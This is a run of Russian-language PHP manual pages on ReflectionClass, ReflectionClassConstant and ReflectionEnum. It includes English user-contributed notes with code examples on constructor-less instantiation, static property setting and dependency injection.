
<?php
class Foo {
    function __construct (&$arr) {
        $this->arr = &$arr;
    }
    function createInstance () {
        $reflectionClass = new ReflectionClass("Bar");

        return $reflectionClass->newInstanceArgs(array($this, $this->arr));
    }
    function mod($key, $val) {
        $this->arr[$key] = $val;
    }
}

class Bar {
    function __construct (&$foo, &$arr) {
        $this->foo = &$foo;
        $this->arr = &$arr;
    }
    function mod($key, $val) {
        $this->arr[$key] = $val;
    }
}

$arr = array();

$foo = new Foo($arr);

$arr["x"] = 1;

$foo->mod("y", 2);

$bar = $foo->createInstance();

$bar->mod("z", 3);

echo "<pre>";
print_r($arr);
print_r($foo);
print_r($bar);
echo "</pre>";

/*
Output:
Warning: Invocation of Bar's constructor failed in [code path] on line 31

Fatal error: Call to a member function mod() on a non-object in [code path] on line 58
*/
?>
gromit at mailinator dot com 29-Jul-2008 01:37
Be aware that calling the method newInstanceArgs with an empty array will still call the constructor with no arguments. If the class has no constructor then it will generate an exception.

You need to check if a constructor exists before calling this method or use try and catch to act on the exception.


Создаёт новый экземпляр класса без вызова конструктора

  • « ReflectionClass::newInstanceArgs
  • ReflectionClass::setStaticPropertyValue »
  • PHP Manual
  • ReflectionClass
  • Создаёт новый экземпляр класса без вызова конструктора

ReflectionClass::newInstanceWithoutConstructor

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionClass::newInstanceWithoutConstructor — Создаёт новый экземпляр класса без вызова конструктора

Описание

public ReflectionClass::newInstanceWithoutConstructor(): object

Создаёт новый экземпляр класса без вызова конструктора.

Список параметров

Возвращаемые значения

Ошибки

Если класс является встроенным, и его экземпляр не может быть создан без вызова конструктора, то это приведёт к генерации исключения ReflectionException. Это исключение ограничено только классами с модификатором final.

Смотрите также

  • ReflectionClass::newInstance() - Создаёт экземпляр класса с переданными аргументами
  • ReflectionClass::newInstanceArgs() - Создаёт экземпляр класса с переданными параметрами

User Contributed Notes

benoit dot wery at online dot fr 28-Oct-2023 08:04
Using ReflectionClass::newInstanceWithoutConstructor and ReflectionProperty::setValue allow to set a value for a readonly promoted property. For example this code works (tested on PHP 8.2) :

<?php

class Test
{
    public function __construct(public readonly string $name)
    {}
}

$test1 = new Test('test1');
$reflectionProperty = new ReflectionProperty(Test::class, 'name');
// next line would throw a Fatal error
$reflectionProperty->setValue($test1, 'error');

$reflectionClass = new ReflectionClass(Test::class);
$test2 = $reflectionClass->newInstanceWithoutConstructor();
$reflectionProperty->setValue($test2, 'test2');

echo $test2->name; // will output "test2"
ben at NOSPAM dot fanmade dot de 17-Feb-2021 07:51
Such a function should definitely end up in productive code as rarely as possible.
There are always exceptions though :)
We have UseCase classes in our library extending an abstract UseCase having a constructor that does some setting up and it will even throw exceptions if some specific conditions are not yet met.
Within that UseCase the permissions are also defined.
Simplified example:
<?php
abstract class UseCase implements IUseCase
{
    /** @var string[] */
    protected array $requiredPermissions = [];

    final public function __construct(IPresenter $out)
    {
        // several startup checks, including authorization
    }
}
?>
We already have a better solution, but it will take some time to refactor that and we will have to live with this for at least a few weeks.
Now I've had the idea to check the permissions in the application's incoming request way before the individual UseCase will be initialized.
So after seeing this method here I just introduced this little helper into our abstract UseCase:
<?php
    public static function getRequiredPermissions(): array
    {
        $class = new ReflectionClass(get_called_class());

        return $class->newInstanceWithoutConstructor()->requiredPermissions;
    }
?>
Now I'm able to check the permissions in my request without really touching anything in the library:
<?php
    public function authorize(): bool
    {
        if (!$this->user->hasPermissions(CreatePost::getRequiredPermissions())) {
            return false;
        }
        return true;
    }
?>
This does also have the benefit of adding one more reason to switch to our new UseCase classes ASAP :)
260 at ciemnosc 06-Feb-2016 02:11
sorry for replying to such an old comment, but there's something i wanted to point out.

@  tom at r dot je:
While I agree with what you said in general, there *are* cases where it's not true, and since PHP doesn't allow for multiple constructors there's no other good way around it.

> The problem? It breaks encapsulation.
> An object can exist in the application but may not be able to fulfill its
> responsibility because it's missing dependencies.
> The use of this method makes it possible for an incomplete object
> to exist in the system;
> the object can exist in a state that its author never intended.

If you're using this method from some factory method, to manually init the object in other way that the constructor that, this point is no longer valid.

Consider the example, where you use constructor to set-up the object after getting it from database (e.g. you need to pull some array from other table, basing on some id parameter). But you want to also be able to create object manually (for inserting to the database, for example).
The best thing to do would be to have two different constructors, but since it is not possible in php you need some other way to create the object.

example:

<?php
// this usually would be a static cache in some class, or array returned by method getMeta($id), etc.
$meta = array(1337 => array('key1' => 'value1', 'key2' => 'value2'));

class Test {
    public $id;
    public $data;
    public $meta;

    public function __construct() {
        global $meta;
        if(is_int($this->id)) $this->meta = $meta[$this->id];
    }
    public static function create_empty() {
        $r = new ReflectionClass(__CLASS__);
        return $r->newInstanceWithoutConstructor();
    }
}
echo "emulating PDO::FETCH_CLASS behavior: ";
$t = Test::create_empty();
$t->meta = 1337;
$t->__construct();
var_dump($t);

echo "empty class: ";
$testItem = Test::create_empty();
// ... here you can start setting up the item, e.g. from XML
var_dump($testItem);

$testItem->id = 0;
$testItem->data = "some data";
$testItem->meta = array("somekey" => "somevalue");

echo "after setup:";
var_dump($testItem);
?>

Of course, you can instead make empty constructor, and create some init() method, but then you have to remember to call init() everywhere.
You can also create some other way of adding the item to database, but then you'd have to classes to handle the same data - one for retrieving and other for storing.

If you instead use some factory class (or just a factory method, like in the simplified example above) having a way to create totally empty object is useful. With full factory approach you would first use some TestFactory->prepare() method, then you'd call methods to set what you need, and the factory would set all uninitialized variables to some default values upon calling TestFactory->get() to retrieve prepared object.
tom at r dot je 11-Jun-2013 09:53
It should be made clear that from an OOP theory perspective the use of this method is very bad practice in the same manner as goto, eval and singletons. If you find a need to use it in production code you're almost certainly doing something wrong somewhere. It may occasionally be useful for debugging, but even then hints at poor initial code.

The problem? It breaks encapsulation. An object can exist in the application but may not be able to fulfill its responsibility because it's missing dependencies. The use of this method makes it possible for an incomplete object to exist in the system; the object can exist in a state that its author never intended. This is bad because it will cause unexpected things to happen! A fundamental principle in OOP is that objects are in complete control of their state, the use of this method prevents that guarantee.

n.b. The annotation based "dependency injection" listed below is not a solution or valid use-case for this either because it breaks encapsulation (Among other things!) and the class being constructed needs to know of the container by providing annotations.
me [ata] thomas-lauria.de 28-Apr-2012 06:51
This new Feature enables Annotation based Dependency Injection:
<?php

//dependency to inject
class dep {}

class a {
  /**
   * @inject
   * @var dep
   */
  protected $foo;
}

class b extends a {
  /**
   * @inject
   * @var dep
   */
  protected $bar;

  public function __construct() {
    echo "CONSTRUCTOR CALLED\n";
  }
}

$ref = new ReflectionClass('b');
$inst = $ref->newInstanceWithoutConstructor();

$list = $ref->getProperties();
foreach($list as $prop){
  /* @var $prop ReflectionProperty */
  $prop->getDocComment(); //grep for @inject and the @vars class name
  $prop->setAccessible(true);
  $prop->setValue($inst, new dep());
}
if($const = $ref->getConstructor()) {
  $constName = $const->getName();
  $inst->{$constName}(); //use call_user_func_array($function, $param_arr); for arguments
}

print_r($inst);
print_r($inst->foo); //property still not accessable

The Output:

CONSTRUCTOR CALLED
b Object
(
    [bar:protected] => dep Object
        (
        )

    [foo:protected] => dep Object
        (
        )

)
PHP Fatal error:  Cannot access protected property b::$foo in diTest.php on line 42
oliver at ananit dot de 24-Nov-2011 03:57
If this method is not available in your version of PHP you can use a trick to create an instance without calling the constructor.
Use reflection to get the properties and default values of the class, and create a fake "serialized" string.

<?php
function createInstanceWithoutConstructor($class){
    $reflector = new ReflectionClass($class);
    $properties = $reflector->getProperties();
    $defaults = $reflector->getDefaultProperties();

    $serealized = "O:" . strlen($class) . ":\"$class\":".count($properties) .':{';
    foreach ($properties as $property){
        $name = $property->getName();
        if($property->isProtected()){
                $name = chr(0) . '*' .chr(0) .$name;
            } elseif($property->isPrivate()){
                $name = chr(0)  . $class.  chr(0).$name;
            }
            $serealized .= serialize($name);
            if(array_key_exists($property->getName(),$defaults) ){
                $serealized .= serialize($defaults[$property->getName()]);
            } else {
                $serealized .= serialize(null);
            }
        }
    $serealized .="}";
    return unserialize($serealized);
}
?>

Example:

<?php
class foo
{
    public $a = 10;
    protected $b = 2;
    private $c = "default";
    protected $d;
    public function __construct(){
        $this->a = null;
        $this->b = null;
        $this->c = "constructed";
        $this->d = 42;
    }
}

var_dump(createInstanceWithoutConstructor('foo'));
?>

Output:
object(foo)#6 (4) {
  ["a"]=>
  int(10)
  ["b":protected]=>
  int(2)
  ["c":"foo":private]=>
  string(7) "default"
  ["d":protected]=>
  NULL
}

I hope this can help someone.
Oliver Anan
alejosimon at gmail 06-Sep-2011 06:41
A good first use for this new method.

It implements a transparent parser constructor argument to achieve 99% reusable component.

<?php

use ReflectionClass ;

trait TSingleton
{
    /**
    *    Constructor.
    */
    protected function __construct() {}

    /**
    *    Drop clone singleton objects.
    */
    protected function __clone() {}

    /**
    *    Gets only one instance.
    *
    *    @params Optional multiple values as arguments for the constructor.
    *    @return Object instance from called class.
    */
    public static function getInstance()
    {
        static $instance = null ;

        if ( ! $instance )
        {
            $ref  = new ReflectionClass( get_called_class() ) ;
            $ctor = $ref->getConstructor() ;

            // Thanks PHP 5.4
            $self = $ref->newInstanceWithoutConstructor() ;

            // The magic.
            $ctor->setAccessible( true ) ;
            $instance = $ctor->invokeArgs( $self, func_get_args() ) ;
        }

        return $instance ;
    }
}

?>


Устанавливает значение статического свойства

  • « ReflectionClass::newInstanceWithoutConstructor
  • ReflectionClass::__toString »
  • PHP Manual
  • ReflectionClass
  • Устанавливает значение статического свойства

ReflectionClass::setStaticPropertyValue

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

ReflectionClass::setStaticPropertyValue — Устанавливает значение статического свойства

Описание

public ReflectionClass::setStaticPropertyValue(string $name, mixed $value): void

Устанавливает значение статического (static) свойства.

Список параметров

name

Имя свойства.

value

Новое значение.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • ReflectionClass::getStaticPropertyValue() - Возвращает значение статического свойства

User Contributed Notes

Andrew Jackson 31-Mar-2014 10:53
Calling this method on a static property that is not public will return a ReflectionException stating the property does not exist. This is quite misleading as the property is valid.

class test {
    public static $publicProperty = 'public';
    private static $privateProperty = 'private';

    public static function printProperties() {
        echo self::$publicProperty . "\n";
        echo self::$privateProperty . "\n";
    }
}

$reflectedClass = new \ReflectionClass('test');
$reflectedClass->setStaticPropertyValue('publicProperty', 'foo');
$reflectedClass->setStaticPropertyValue( 'privateProperty', 'bar' );

PHP Fatal error:  Uncaught exception 'ReflectionException' with message 'Class test does not have a property named privateProperty'

If you retrieve the method using the reflection class getProperty method you can circumnavigate this issue

$reflectedProperty = $reflectedClass->getProperty('privateProperty');
$reflectedProperty->setAccessible(true);
$reflectedProperty = $reflectedProperty->setValue('bar');

test::printProperties();
will echo
foo
bar
chuck at manchuck dot com 13-Jul-2012 01:40
It is important to note that calling ReflectionClass::setStaticPropertyValue will not allow you to add new static properties to a class.


Возвращает строковое представление объекта класса ReflectionClass

  • « ReflectionClass::setStaticPropertyValue
  • ReflectionClassConstant »
  • PHP Manual
  • ReflectionClass
  • Возвращает строковое представление объекта класса ReflectionClass

ReflectionClass::__toString

(PHP 5, PHP 7, PHP 8)

ReflectionClass::__toString — Возвращает строковое представление объекта класса ReflectionClass

Описание

public ReflectionClass::__toString(): string

Возвращает строковое представление объекта класса ReflectionClass.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Строковое представление экземпляра класса ReflectionClass.

Примеры

Пример #1 Пример использования ReflectionClass::__toString()

<?php
$reflectionClass = new ReflectionClass('Exception');
echo $reflectionClass->__toString();
?>

Результат выполнения приведённого примера:

Class [ <internal:Core> class Exception ] {

  - Constants [0] {
  }

  - Static properties [0] {
  }

  - Static methods [0] {
  }

  - Properties [7] {
    Property [ <default> protected $message ]
    Property [ <default> private $string ]
    Property [ <default> protected $code ]
    Property [ <default> protected $file ]
    Property [ <default> protected $line ]
    Property [ <default> private $trace ]
    Property [ <default> private $previous ]
  }

  - Methods [10] {
    Method [ <internal:Core> final private method __clone ] {
    }

    Method [ <internal:Core, ctor> public method __construct ] {

      - Parameters [3] {
        Parameter #0 [ <optional> $message ]
        Parameter #1 [ <optional> $code ]
        Parameter #2 [ <optional> $previous ]
      }
    }

    Method [ <internal:Core> final public method getMessage ] {
    }

    Method [ <internal:Core> final public method getCode ] {
    }

    Method [ <internal:Core> final public method getFile ] {
    }

    Method [ <internal:Core> final public method getLine ] {
    }

    Method [ <internal:Core> final public method getTrace ] {
    }

    Method [ <internal:Core> final public method getPrevious ] {
    }

    Method [ <internal:Core> final public method getTraceAsString ] {
    }

    Method [ <internal:Core> public method __toString ] {
    }
  }
}

Смотрите также

  • ReflectionClass::export() - Экспортирует класс
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


Класс ReflectionClassConstant

(PHP 7 >= 7.1.0, PHP 8)

Введение

Класс ReflectionClassConstant используется для получения информации о константах класса.

Обзор классов

class ReflectionClassConstant implements Reflector {
/* Константы */
public const int IS_PUBLIC;
public const int IS_PROTECTED;
public const int IS_PRIVATE;
public const int IS_FINAL;
/* Свойства */
public string $name;
public string $class;
/* Методы */
public __construct(object|string $class, string $constant)
public static export(mixed $class, string $name, bool $return = ?): string
public getAttributes(?string $name = null, int $flags = 0): array
public getDeclaringClass(): ReflectionClass
public getDocComment(): string|false
public getModifiers(): int
public getName(): string
public getValue(): mixed
public isEnumCase(): bool
public isFinal(): bool
public isPrivate(): bool
public isProtected(): bool
public isPublic(): bool
public __toString(): string
}

Свойства

name

Имя константы класса. Только чтение. В случае попытки изменения выбрасывает исключение ReflectionException.

class

Имя класса, в котором определена константа. Только чтение. В случае попытки изменения выбрасывает исключение ReflectionException.

Предопределённые константы

ReflectionClassConstant Modifiers

ReflectionClassConstant::IS_PUBLIC

Указывает, что константа является общедоступной. До PHP 7.4.0, значение было 256.

ReflectionClassConstant::IS_PROTECTED

Указывает, что константа является защищённой. До PHP 7.4.0, значение было 512.

ReflectionClassConstant::IS_PRIVATE

Указывает, что константа является закрытой. До PHP 7.4.0, значение было 1024.

ReflectionClassConstant::IS_FINAL

Указывает, что константа является окончательной final. Доступно, начиная с PHP 8.1.0.

Замечание:

Значения этих констант могут изменяться от версии к версии PHP. Рекомендуется всегда использовать константы и не полагаться напрямую на значения.

Список изменений

Версия | Описание
8.0.0 | Метод ReflectionClassConstant::export() был удалён.

Содержание

  • ReflectionClassConstant::__construct — Создаёт объект ReflectionClassConstant
  • ReflectionClassConstant::export — Экспортирует
  • ReflectionClassConstant::getAttributes — Получает атрибуты
  • ReflectionClassConstant::getDeclaringClass — Получает объявляющий класс
  • ReflectionClassConstant::getDocComment — Получает doc-комментарии
  • ReflectionClassConstant::getModifiers — Получает модификаторы константы класса
  • ReflectionClassConstant::getName — Получает имя константы
  • ReflectionClassConstant::getValue — Получает значение
  • ReflectionClassConstant::isEnumCase — Проверяет, является ли константа класса вариантом перечисления
  • ReflectionClassConstant::isFinal — Проверяет, является ли константа класса окончательной
  • ReflectionClassConstant::isPrivate — Проверяет, является ли константа закрытой
  • ReflectionClassConstant::isProtected — Проверяет, является ли константа защищённой
  • ReflectionClassConstant::isPublic — Проверяет, является ли константа общедоступной
  • ReflectionClassConstant::__toString — Возвращает строковое представление объекта ReflectionClassConstant

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект ReflectionClassConstant

  • « ReflectionClassConstant
  • ReflectionClassConstant::export »
  • PHP Manual
  • ReflectionClassConstant
  • Создаёт объект ReflectionClassConstant

ReflectionClassConstant::__construct

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClassConstant::__construct — Создаёт объект ReflectionClassConstant

Описание

public ReflectionClassConstant::__construct(object|string $class, string $constant)

Создаёт новый объект ReflectionClassConstant.

Список параметров

class

Строка (string), содержащая имя класса для отражения, либо объект (object).

constant

Имя константы класса.

Ошибки

Выбрасывает Exception в случае, если переданная константа класса не существует.

Смотрите также

  • Конструкторы

User Contributed Notes

There are no user contributed notes for this page.


Экспортирует

  • « ReflectionClassConstant::__construct
  • ReflectionClassConstant::getAttributes »
  • PHP Manual
  • ReflectionClassConstant
  • Экспортирует

ReflectionClassConstant::export

(PHP 7 >= 7.1.0)

ReflectionClassConstant::export — Экспортирует

Внимание

Эта функция УСТАРЕЛА начиная с PHP 7.4.0 и была УДАЛЕНА в PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

public static ReflectionClassConstant::export(mixed $class, string $name, bool $return = ?): string

Метод экспортирует отражение константы класса в строку.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

class

Название или объект класса для экспорта.

name

Имя константы класса.

return

Метод вернёт значение экспорта, а не выведет его, если установить для параметра значение true. При значении по умолчанию — false метод сделает наоборот.

Возвращаемые значения

Смотрите также

  • ReflectionClassConstant::__toString() - Возвращает строковое представление объекта ReflectionClassConstant

User Contributed Notes

There are no user contributed notes for this page.


Получает атрибуты

  • « ReflectionClassConstant::export
  • ReflectionClassConstant::getDeclaringClass »
  • PHP Manual
  • ReflectionClassConstant
  • Получает атрибуты

ReflectionClassConstant::getAttributes

(PHP 8)

ReflectionClassConstant::getAttributes — Получает атрибуты

Описание

public ReflectionClassConstant::getAttributes(?string $name = null, int $flags = 0): array

Возвращает все атрибуты, объявленные в этой константе класса, в виде массива ReflectionAttribute.

Список параметров

name

Параметр отфильтрует результаты, чтобы включить экземпляры отражений ReflectionAttribute только тех атрибутов, чьи имена совпадают с заданным именем класса.

flags

Флаги для определения способа фильтрации результатов, если указан параметр name.

По умолчанию значение 0, которое возвращает результаты только для атрибутов, которые относятся к классу name.

Единственное доступное значение — константа ReflectionAttribute::IS_INSTANCEOF, которая вместо этого будет использовать для фильтрации оператор instanceof.

Возвращаемые значения

Массив атрибутов в виде объекта ReflectionAttribute.

Примеры

Пример #1 Простой пример

<?php
#[Attribute]
class Fruit {
}

#[Attribute]
class Red {
}

class Basket {
#[Fruit]
#[Red]
public const APPLE = 'apple';
}

$classConstant = new ReflectionClassConstant('Basket', 'APPLE');
$attributes = $classConstant->getAttributes();
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

Результат выполнения приведённого примера:

Array
(
    [0] => Fruit
    [1] => Red
)

Пример #2 Фильтрация результатов по имени класса

<?php
#[Attribute]
class Fruit {
}

#[Attribute]
class Red {
}

class Basket {
#[Fruit]
#[Red]
public const APPLE = 'apple';
}

$classConstant = new ReflectionClassConstant('Basket', 'APPLE');
$attributes = $classConstant->getAttributes('Fruit');
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

Результат выполнения приведённого примера:

Array
(
    [0] => Fruit
)

Пример #3 Фильтрация результатов по имени класса, с наследованием

<?php
interface Color {
}

#[Attribute]
class Fruit {
}

#[Attribute]
class Red implements Color {
}

class Basket {
#[Fruit]
#[Red]
public const APPLE = 'apple';
}

$classConstant = new ReflectionClassConstant('Basket', 'APPLE');
$attributes = $classConstant->getAttributes('Color', ReflectionAttribute::IS_INSTANCEOF);
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

Результат выполнения приведённого примера:

Array
(
    [0] => Red
)

Смотрите также

  • ReflectionClass::getAttributes() - Получает атрибуты
  • ReflectionFunctionAbstract::getAttributes() - Получает атрибуты
  • ReflectionParameter::getAttributes() - Получает атрибуты
  • ReflectionProperty::getAttributes() - Получает атрибуты

User Contributed Notes

There are no user contributed notes for this page.


Получает объявляющий класс

  • « ReflectionClassConstant::getAttributes
  • ReflectionClassConstant::getDocComment »
  • PHP Manual
  • ReflectionClassConstant
  • Получает объявляющий класс

ReflectionClassConstant::getDeclaringClass

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClassConstant::getDeclaringClass — Получает объявляющий класс

Описание

public ReflectionClassConstant::getDeclaringClass(): ReflectionClass

Получает объявляющий класс.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект ReflectionClass.

User Contributed Notes

There are no user contributed notes for this page.


Получает doc-комментарии

  • « ReflectionClassConstant::getDeclaringClass
  • ReflectionClassConstant::getModifiers »
  • PHP Manual
  • ReflectionClassConstant
  • Получает doc-комментарии

ReflectionClassConstant::getDocComment

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClassConstant::getDocComment — Получает doc-комментарии

Описание

public ReflectionClassConstant::getDocComment(): string|false

Получает doc-комментарии из константы класса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Doc-комментарий, если он есть, false в противном случае

User Contributed Notes

There are no user contributed notes for this page.


Получает модификаторы константы класса

  • « ReflectionClassConstant::getDocComment
  • ReflectionClassConstant::getName »
  • PHP Manual
  • ReflectionClassConstant
  • Получает модификаторы константы класса

ReflectionClassConstant::getModifiers

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClassConstant::getModifiers — Получает модификаторы константы класса

Описание

public ReflectionClassConstant::getModifiers(): int

Возвращает битовое поле модификаторов доступа для данной константы класса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Числовое представление модификаторов. Фактические значения этих модификаторов описаны в предопределённых константах.

Смотрите также

  • Reflection::getModifierNames() - Получение имён модификаторов

User Contributed Notes

There are no user contributed notes for this page.


Получает имя константы

  • « ReflectionClassConstant::getModifiers
  • ReflectionClassConstant::getValue »
  • PHP Manual
  • ReflectionClassConstant
  • Получает имя константы

ReflectionClassConstant::getName

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClassConstant::getName — Получает имя константы

Описание

public ReflectionClassConstant::getName(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает имя константы.

Список изменений

Версия | Описание
8.1.0 | Метод выдаёт исключение Error, если свойство name не проинициализировали. Раньше в случае ошибки метод возвращал false.

User Contributed Notes

There are no user contributed notes for this page.


Получает значение

  • « ReflectionClassConstant::getName
  • ReflectionClassConstant::isEnumCase »
  • PHP Manual
  • ReflectionClassConstant
  • Получает значение

ReflectionClassConstant::getValue

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClassConstant::getValue — Получает значение

Описание

public ReflectionClassConstant::getValue(): mixed

Получает значение константы класса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Значение константы класса.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли константа класса вариантом перечисления

  • « ReflectionClassConstant::getValue
  • ReflectionClassConstant::isFinal »
  • PHP Manual
  • ReflectionClassConstant
  • Проверяет, является ли константа класса вариантом перечисления

ReflectionClassConstant::isEnumCase

(PHP 8 >= 8.1.0)

ReflectionClassConstant::isEnumCase — Проверяет, является ли константа класса вариантом перечисления

Описание

public ReflectionClassConstant::isEnumCase(): bool

Проверяет, является ли константа класса вариантом перечисления.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает true, если константа класса является вариантом перечисления, в противном случае возвращает false.

Примеры

Пример #1 Пример использования ReflectionClassConstant::isEnumCase()

Определение варианта перечисления и обычной константы класса.

<?php
enum Status
{
const BORING_CONSTANT = 'test';
const ENUM_VALUE = Status::PUBLISHED;

case DRAFT;
case PUBLISHED;
case ARCHIVED;
}

$reflection = new ReflectionEnum(Status::class);
foreach ($reflection->getReflectionConstants() as $constant) {
echo "{$constant->name} - это ",
$constant->isEnumCase() ? "вариант переключения" : "обычная константа класса",
PHP_EOL;
}
?>

Результат выполнения приведённого примера:

BORING_CONSTANT - это обычная константа класса
ENUM_VALUE - это обычная константа класса
DRAFT - это вариант переключения
PUBLISHED - это вариант переключения
ARCHIVED - это вариант переключения

Смотрите также

  • ReflectionEnum

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли константа класса окончательной

  • « ReflectionClassConstant::isEnumCase
  • ReflectionClassConstant::isPrivate »
  • PHP Manual
  • ReflectionClassConstant
  • Проверяет, является ли константа класса окончательной

ReflectionClassConstant::isFinal

(PHP 8 >= 8.1.0)

ReflectionClassConstant::isFinal — Проверяет, является ли константа класса окончательной

Описание

public ReflectionClassConstant::isFinal(): bool

Проверяет, является ли константа класса окончательной (final).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если константа класса является окончательной, в противном случае возвращает false.

Смотрите также

  • ReflectionClassConstant::isPublic() - Проверяет, является ли константа общедоступной
  • ReflectionClassConstant::isPrivate() - Проверяет, является ли константа закрытой
  • ReflectionClassConstant::isProtected() - Проверяет, является ли константа защищённой

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли константа закрытой

  • « ReflectionClassConstant::isFinal
  • ReflectionClassConstant::isProtected »
  • PHP Manual
  • ReflectionClassConstant
  • Проверяет, является ли константа закрытой

ReflectionClassConstant::isPrivate

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClassConstant::isPrivate — Проверяет, является ли константа закрытой

Описание

public ReflectionClassConstant::isPrivate(): bool

Проверяет, является ли константа закрытой.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если константа класса является закрытой, false в противном случае

Смотрите также

  • ReflectionClassConstant::isFinal() - Проверяет, является ли константа класса окончательной
  • ReflectionClassConstant::isPublic() - Проверяет, является ли константа общедоступной
  • ReflectionClassConstant::isProtected() - Проверяет, является ли константа защищённой

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли константа защищённой

  • « ReflectionClassConstant::isPrivate
  • ReflectionClassConstant::isPublic »
  • PHP Manual
  • ReflectionClassConstant
  • Проверяет, является ли константа защищённой

ReflectionClassConstant::isProtected

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClassConstant::isProtected — Проверяет, является ли константа защищённой

Описание

public ReflectionClassConstant::isProtected(): bool

Проверяет, является ли константа защищённой.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если константа класса является защищённой, false в противном случае

Смотрите также

  • ReflectionClassConstant::isFinal() - Проверяет, является ли константа класса окончательной
  • ReflectionClassConstant::isPublic() - Проверяет, является ли константа общедоступной
  • ReflectionClassConstant::isPrivate() - Проверяет, является ли константа закрытой

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли константа общедоступной

  • « ReflectionClassConstant::isProtected
  • ReflectionClassConstant::__toString »
  • PHP Manual
  • ReflectionClassConstant
  • Проверяет, является ли константа общедоступной

ReflectionClassConstant::isPublic

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClassConstant::isPublic — Проверяет, является ли константа общедоступной

Описание

public ReflectionClassConstant::isPublic(): bool

Проверяет, является ли константа общедоступной.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если константа класса является общедоступной, false в противном случае

Смотрите также

  • ReflectionClassConstant::isFinal() - Проверяет, является ли константа класса окончательной
  • ReflectionClassConstant::isPrivate() - Проверяет, является ли константа закрытой
  • ReflectionClassConstant::isProtected() - Проверяет, является ли константа защищённой

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строковое представление объекта ReflectionClassConstant

  • « ReflectionClassConstant::isPublic
  • ReflectionEnum »
  • PHP Manual
  • ReflectionClassConstant
  • Возвращает строковое представление объекта ReflectionClassConstant

ReflectionClassConstant::__toString

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClassConstant::__toString — Возвращает строковое представление объекта ReflectionClassConstant

Описание

public ReflectionClassConstant::__toString(): string

Возвращает строковое представление объекта ReflectionClassConstant.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Строковое представление данного экземпляра ReflectionClassConstant.

Смотрите также

  • ReflectionClassConstant::export() - Экспортирует
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


Класс ReflectionEnum

(PHP 8 >= 8.1.0)

Введение

Класс ReflectionEnum сообщает информацию о перечислении.

Обзор классов

class ReflectionEnum extends ReflectionClass {
/* Наследуемые константы */
public const int ReflectionClass::IS_IMPLICIT_ABSTRACT;
public const int ReflectionClass::IS_EXPLICIT_ABSTRACT;
public const int ReflectionClass::IS_FINAL;
public const int ReflectionClass::IS_READONLY;
/* Наследуемые свойства */
public string $name;
/* Методы */
public __construct(object|string $objectOrClass)
public getBackingType(): ?ReflectionNamedType
public getCase(string $name): ReflectionEnumUnitCase
public getCases(): array
public hasCase(string $name): bool
public isBacked(): bool
/* Наследуемые методы */
public static ReflectionClass::export(mixed $argument, bool $return = false): string
public ReflectionClass::getAttributes(?string $name = null, int $flags = 0): array
public ReflectionClass::getConstant(string $name): mixed
public ReflectionClass::getConstants(?int $filter = null): array
public ReflectionClass::getConstructor(): ?ReflectionMethod
public ReflectionClass::getDefaultProperties(): array
public ReflectionClass::getDocComment(): string|false
public ReflectionClass::getEndLine(): int|false
public ReflectionClass::getExtension(): ?ReflectionExtension
public ReflectionClass::getExtensionName(): string|false
public ReflectionClass::getFileName(): string|false
public ReflectionClass::getInterfaceNames(): array
public ReflectionClass::getInterfaces(): array
public ReflectionClass::getMethod(string $name): ReflectionMethod
public ReflectionClass::getMethods(?int $filter = null): array
public ReflectionClass::getModifiers(): int
public ReflectionClass::getName(): string
public ReflectionClass::getNamespaceName(): string
public ReflectionClass::getParentClass(): ReflectionClass|false
public ReflectionClass::getProperties(?int $filter = null): array
public ReflectionClass::getProperty(string $name): ReflectionProperty
public ReflectionClass::getReflectionConstant(string $name): ReflectionClassConstant|false
public ReflectionClass::getReflectionConstants(?int $filter = null): array
public ReflectionClass::getShortName(): string
public ReflectionClass::getStartLine(): int|false
public ReflectionClass::getStaticProperties(): array
public ReflectionClass::getStaticPropertyValue(string $name, mixed &$def_value = ?): mixed
public ReflectionClass::getTraitAliases(): array
public ReflectionClass::getTraitNames(): array
public ReflectionClass::getTraits(): array
public ReflectionClass::hasConstant(string $name): bool
public ReflectionClass::hasMethod(string $name): bool
public ReflectionClass::hasProperty(string $name): bool
public ReflectionClass::implementsInterface(ReflectionClass|string $interface): bool
public ReflectionClass::inNamespace(): bool
public ReflectionClass::isAbstract(): bool
public ReflectionClass::isAnonymous(): bool
public ReflectionClass::isCloneable(): bool
public ReflectionClass::isEnum(): bool
public ReflectionClass::isFinal(): bool
public ReflectionClass::isInstance(object $object): bool
